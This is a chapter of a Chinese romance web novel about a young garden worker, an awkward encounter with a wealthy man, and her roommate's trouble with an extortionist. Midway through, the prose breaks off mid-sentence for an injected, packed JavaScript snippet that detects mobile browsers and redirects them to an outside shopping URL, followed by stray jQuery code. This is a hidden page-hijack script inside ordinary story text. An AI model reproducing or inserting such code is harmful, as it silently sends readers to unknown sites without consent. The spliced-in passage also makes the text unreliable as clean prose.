一到年底,璞园里的忙碌又添了一层。
除了日常的打理与养护,年节前总免不了几场格外重要的雅集与私宴。
能踏足到这园子的,多是京中颇有底蕴的人家,或是在某一领域极有声望的人物。园里上上下下无不绷紧了弦,力求事事周全。
唐岁雪也跟着团团转,一天要往返漱石轩好几回。
那天之后她得了教训,只要上班必定要把手帕揣进兜里!
她并不清楚司从岚的行踪,只能用笨办法等着。万哪天一又在园子里撞见,好歹能了结这桩心事。也不是没尝试过从章伯哪里旁敲侧击,无奈章伯口风太紧,早生几十年怕是地下党的骨干分子。
周雪这些天也忙得神龙见首不见尾,常常深夜才带着一身寒气回来,偶尔撞见,也是没精打采的样子。
这天早上出门前,唐岁雪特意给周雪发了条信息,问她晚上想吃什么,下班了给她带。但直到下午休息时从更衣柜里摸出手机,屏幕上还干干净净。
没有周雪的回复。
她想着下班再打个电话问问,手上却没停,抱着晚上一个雅集要用的香炉,朝漱石轩走去。
冬日午后的阳光没什么温度,只是白花花铺了一地。
打眼望去,远远地瞧见漱石轩前的廊檐下立着两道身影,其中一人身姿挺拔穿着黑色高领毛衣。
不是司从岚又是谁。
原来他今天在园子里。
叶公好龙大概就是这样。
这些天把人家的手帕都快揣热了,就等着撞见正主好物归原主。可真等人在眼前,反而踌躇了起来。
特别是有了上次在停云馆前不算愉快的收场,哪怕之前在酒窖,她也没多招人高兴。
但这事儿伸头缩头都是一刀,不如赶紧了事。
这么一琢磨,那点犹豫便被压了下去。她加快脚步,想着赶紧先把手里的器物送到地方,再寻个合适时机。
谁知越急越出乱子,一踏上回廊的台阶,摩擦力奇异,不妙的感觉顿生!
那石阶有些松动,边缘生了层青苔让她脚下一滑,整个人不可控地向前踉跄了好几步,怀里的香炉却护得死死的。
摔坏了赔不起!劈个叉又实在为难自己!
慌乱中她左脚向旁一踏,好死不死,踩进了阶下铺着厚厚腐殖质的花圃里。
“噗嗤”一声,半只脚陷了进去,裤管溅上星星点点的湿泥,连带着扶住香炉底部的手背也蹭上了一片乌糟糟的痕迹。
廊下的交谈声戛然而止。
司从岚几乎是立刻结束了谈话,侧首望过来,旁边的人见状识趣地躬身退开。
世界宁静了。
唐岁雪抱着怀里的宝贝疙瘩正懵着,后知后觉地抬眼,跟几步开外那双阒黑的眸子对了个正着。
他眼梢微扬,眉目沉静,正带着几分惫懒凝睇着她。
简直不要太糟心!
司从岚缓步踱近,停在比她高两级的石阶上,身姿舒展居高临下。目光扫过她怀里的香炉,落到她沾满泥污的裤脚和手背上,眉心几不可察地蹙了一下。
“走路看路。”
这是看路的问题吗?
唐岁雪脸颊发烫,几缕碎发被刚才那番动静惊得滑落,软软地粘在她白净的脸颊。
她低头看了看自己脏兮兮的手,只觉得一阵无力。
就这样一双手,怎么能当着他的面掏出手帕还给他。
要干也得背着来啊!
一股沮丧混合着尴尬涌上来,带着点自暴自弃的懊恼,她小声嘟囔道:“我现在……没法拿您的东西。”
司从岚闻言,眉峰一动,看着她紧抱香炉的手臂有些好笑:“东西比人重要?”
唐岁雪“啊?”了一声,茫然抬起脸。
他像是懒得再跟她说什么,淡声吩咐候在一旁的章伯:“叫个人来帮她拿进去。”
说完便转身沿着回廊走了。
唐岁雪维持着双手环抱的姿势,站在原地眨了眨眼。
什么玩意儿嗖地来嘲笑了她一下,又嗖地自顾自走了?
她叹了口气,低头琢磨怎么把自己从这滩泥里拔出来,一个穿着同样工服的男孩从漱石轩里跑出来,接过她手里的香炉嘱咐:“章伯让你赶紧回去换身衣裳,别着了凉。”
她道了谢,拖着一条泥迹斑斑的裤腿,一脚深一脚浅地往回走。
回到休息室撞见小雯,对方瞧见她的模样噗嗤一声笑了出来:“小周,你这……是去松土了?”
唐岁雪不明所以,走到墙边那面半身镜前一照。
好家伙,不光裤腿和手,连下巴也同样也沾了光。跟她此刻搞不清楚状态的样子简直是绝配。
她看着镜子里的自己百感交集。原来短短五分钟内能把紧张,暗自欣喜,发懵,绝望轮番尝一遍的感觉是这样的。
半晌,她长长地吁了口气,心里的小人儿已经捂着脸蹲了下去。
怎么偏偏在他面前呢……
发了一会儿呆,她拧开水龙头地洗了把脸。
冰凉的水沾湿了额发,她刚要伸手去够毛巾,芳姨推开门走了进来,憋着笑递过手里拎着的纸袋:“章伯说瞧见你裤脚湿了,这是早前多备下的工服还没人穿过,你快换上别着了凉。”
唐岁雪接过纸袋道了谢。
芳姨瞧着她那副难得狼狈又强作镇定的样子,忍不住打趣道:“你平时多稳妥一个人,今儿是怎么了?跟那花圃有仇?”
唐岁雪抬起湿漉漉的脸,水珠顺着下巴往下滴。
她歪头抿了抿唇,一张脸闪过无奈认命,偏偏又说不出一个字。
芳姨笑了一阵后也没再多问,只嘱咐了句“快换上”便带上门出去了。
唐岁雪从纸袋里拿出鞋裤沉默地换上,冰凉的脚趾触到干燥柔软的鞋内里时,才后知后觉地感到一点迟来的暖意。
*
直到半夜周雪才拖着步子回到出租屋。
推开门,客厅里留着一盏昏黄的小灯。
唐岁雪盖着条薄毯,蜷在旧沙发里睡着了。听到门锁的动静,迷迷糊糊地睁开眼。
灯影下那张脸是褪去戒备后的柔美,皮肤在暗处白得像细腻,鼻梁秀挺,唇色是娇艳淡粉。乌黑的长发披散在肩头与颊边,衬得那张脸愈发小巧,脸颊上还印着一道浅浅的压痕。
她望过来时,眼里蒙着一层将醒未醒的水汽,像浸在云雾里的灿星。
周雪愣了一下:“大雪?你怎么不进去睡?”
“等你。”
唐岁雪揉了揉眼睛,声音带着些绵软的鼻音。她坐起身指了指小茶几上那个用厚毛巾裹着的搪瓷缸:“给你带了关东煮,下班路上买的,应该还是热的。”
周雪看着那个被裹得严严实实的搪瓷缸,鼻子忽然有点酸。几步冲过去一把抱住唐岁雪,脑袋埋在她肩上蹭了蹭:“……大雪。”
唐岁雪被她身上带回的寒气激得一哆嗦,却没推开,只轻声说:“好凉。”
周雪立即弹开,脸上那点感动瞬间变幻成讪讪地笑:“哎哟我给忘了!”
她手忙脚乱地脱下厚重的亮面羽绒服,随手搭在椅背上,又拖过那个塑料小凳一屁股坐在茶几前,掀开毛巾。
关东煮的香气混着余温散开。
她拿起一次性筷子大口吃起来,一副饿狠了的样子。
唐岁雪静静看了她一会儿,问:“你最近在忙什么?”
周雪被
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497808|202584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
塞进嘴里的萝卜噎得一囫囵,呛咳了一声鼓着腮帮子拼命嚼嚼嚼:“没忙什么啊,就……接了点零活儿呗。”
“有多零?”唐岁雪一双清冷冷的眼看着她,语气没有起伏地噼里啪啦,“是开业剪彩充场,网店九块九包邮模特,直播间气氛组假笑,婚礼礼仪兼跟拍,商场促销人形立牌还是停车场代客吵架?哪一样需要天天干到半夜?”
周雪被她这么一数,嘴里的鱼丸越嚼越快眼皮都不敢抬。
最后干脆把筷子“啪”地往桌上一放,猛地站起身:“我吃饱了!困死了,先去洗洗睡——”
“那我明天就把身份证挂在脖子上去璞园上班。“
周雪一听,唰地坐了回去,垮下肩膀胡乱地耙了耙头发:“错了错了错了。是大彬……被人找麻烦了。“
她很快地交代了事情原委。
原来那天大彬急匆匆打电话来,是因为在工作的酒楼里出了事。
有人订了包厢宴请贵客,席间拿出自带的酒具说是家传古董价值连城。结果席散时其中一只酒杯不知怎的碎在了备餐间的通道,对方一口咬定是大彬搬运东西时撞倒的,索赔五十万。
酒楼为了维护声誉和重要客源,把压力全给了大彬,逼他尽快摆平。
大彬东托西问,费了好大劲才得知那位苦主,正是前阵子酒桌上被周雪赢走钱的那个中年老板。
喝酒那天大彬不放心周雪过来接她,两人在会所门口说了几句话,大彬还把外套脱了给她披上,估计就在这个时候被那人看到了。
“肯定是那个老登!”周雪咬牙切齿,“当时输钱输得脸都绿了,又不敢当场翻脸怕被人说输不起。现在绕个弯子拿大彬开刀。大彬现在被经理催得跟什么似的,工作都快保不住了。”
唐岁雪听完,沉默片刻:“你打算怎么办?”
“我能怎么办?”周雪眉毛一竖,“这事儿说起来也是因我而起,我这几天正托人打听那老登常混哪儿呢,找机会直接堵他!光脚的不怕穿鞋的,看谁横!”
“你别一个人乱来。”
“我怎么会一个人!”周雪拍拍胸口,豪气云天,“我姐妹多着呢!大雪你就别操心了,好好在园子里打工赚钱给咱奶花!”
她说完夸张地打了个哈欠,“真困了,洗澡去了!”
起身进了卫生间,很快传来水声。
唐岁雪独自坐在客厅里,看着茶几上没吃完的关东煮,慢慢蹙起了眉。
心里那股说不清道不明的滞闷,像滴入水中的墨,无声地晕染开来。
她静坐了一会儿,才起身将碗筷收拾干净,走回自己那间用板材隔出的小房间。
房间很小,只放得下一张单人床,一个简易衣柜和一张旧书桌。
桌面上摊开得有些凌乱,厚重的专业书和写得密密麻麻的笔记本散在一边,中间空出一块,铺着几张边缘已经微微起毛的法律文书。
《民事判决书》、《房屋所有权确认书》、《强制执行申请书》……
唐岁雪收拾着桌上的纸张,将它们归拢到一旁的牛皮纸袋里。
袋中还有一张年头久远的诊断证明,几张字迹娟秀的旧信纸,以及一张边角已经卷曲泛黄的老照片。
照片中的年轻女人穿着浅色碎花裙站在一棵悬木铃下,眉眼温婉,发丝微扬,笑容氤着未经世事的怯生与期盼。
那张脸……即便褪了色,即便隔着漫长时光,也依旧能辨认出与园子里那位温雅从容的林夫人,有着近乎一模一样的样貌与神韵。
唐岁雪的手在半空中停了一瞬。
她没有立刻去捡那张照片,只在那褪色的影像上看了片刻,才将它拾起来捋平边缘,夹回已经整理妥当的文件中间。